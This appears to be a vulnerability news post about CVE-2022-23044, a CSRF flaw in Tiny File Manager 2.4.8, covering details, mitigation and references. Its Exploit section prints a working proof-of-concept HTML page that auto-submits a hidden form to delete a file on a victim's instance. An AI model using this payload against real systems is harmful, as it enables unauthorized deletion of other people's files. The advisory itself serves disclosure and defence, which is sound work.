CVE CyberSecurity Database News

CVE-2022-23044 – Unauthenticated Remote Attacker Can Exploit CSRF Vulnerability in Tiny File Manager 2.4.8

Poster -

Tiny File Manager, a popular web-based file manager application widely used for managing files on web servers with ease is found to have a vulnerability in version 2.4.8. This vulnerability is tracked as CVE-2022-23044, which puts the application at risk of Cross-Site Request Forgery (CSRF) attacks. This issue can allow an unauthenticated remote attacker to perform unintended actions within the application on behalf of the victims. In this post, we will discuss the vulnerability details, exploitation, and potential mitigation steps.

Vulnerability Details

CVE-2022-23044 affects Tiny File Manager version 2.4.8. An attacker can exploit the CSRF vulnerability by tricking authenticated users into clicking a malicious link or visiting a malicious website. This can cause unauthorized actions to be performed within Tiny File Manager, which can lead to loss of data, unauthorized access to sensitive files, or even complete control over the application.

Exploit

To exploit this vulnerability, the attacker needs to create a malicious HTML page containing a form configured to submit a request to the vulnerable Tiny File Manager instance disguised as a legitimate action.

Below is a code snippet of a malicious HTML page that exploits the CSRF vulnerability

<!DOCTYPE html>
<html>
  <body>
    <h1>Malicious Page</h1>
    <form action="http://example.com/tinyfilemanager.php"; method="post" id="csrf_form">
      <input type="hidden" name="action" value="delete">
      <input type="hidden" name="file" value="path/to/target/file">
    </form>
    <script>
      document.getElementById('csrf_form').submit();
    </script>
  </body>
</html>

In this example, the malicious form submits a request to delete a target file on the victim's Tiny File Manager instance. An unsuspecting user who opens this malicious page in their browser would inadvertently trigger the file deletion without their knowledge.

For more information about this vulnerability, you can refer to the following resources

- CVE-2022-23044: https://nvd.nist.gov/vuln/detail/CVE-2022-23044
- Tiny File Manager GitHub Repository: https://github.com/prasathmani/tinyfilemanager
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

Mitigation Steps

To mitigate this vulnerability, the developers of Tiny File Manager should implement proper CSRF protection mechanisms. This can be done by using CSRF tokens, same-site cookies, or other security measures as per OWASP guidelines. Users of the application should update to the latest version as soon as a fix is available.

In the meantime, users should be cautious of clicking unknown links or visiting unfamiliar websites while being logged in to Tiny File Manager, as these might trigger actions within the application without their consent.

Conclusion

CVE-2022-23044 highlights the importance of securing web applications from CSRF vulnerabilities. Developers and maintainers should be aware of this security risk and implement the necessary measures to protect their applications. Users should remain vigilant when using web applications and educate themselves on the risks involved to mitigate potential threats.

Timeline

Published on: 11/25/2022 17:15:00 UTC
Last modified on: 02/01/2023 15:34:00 UTC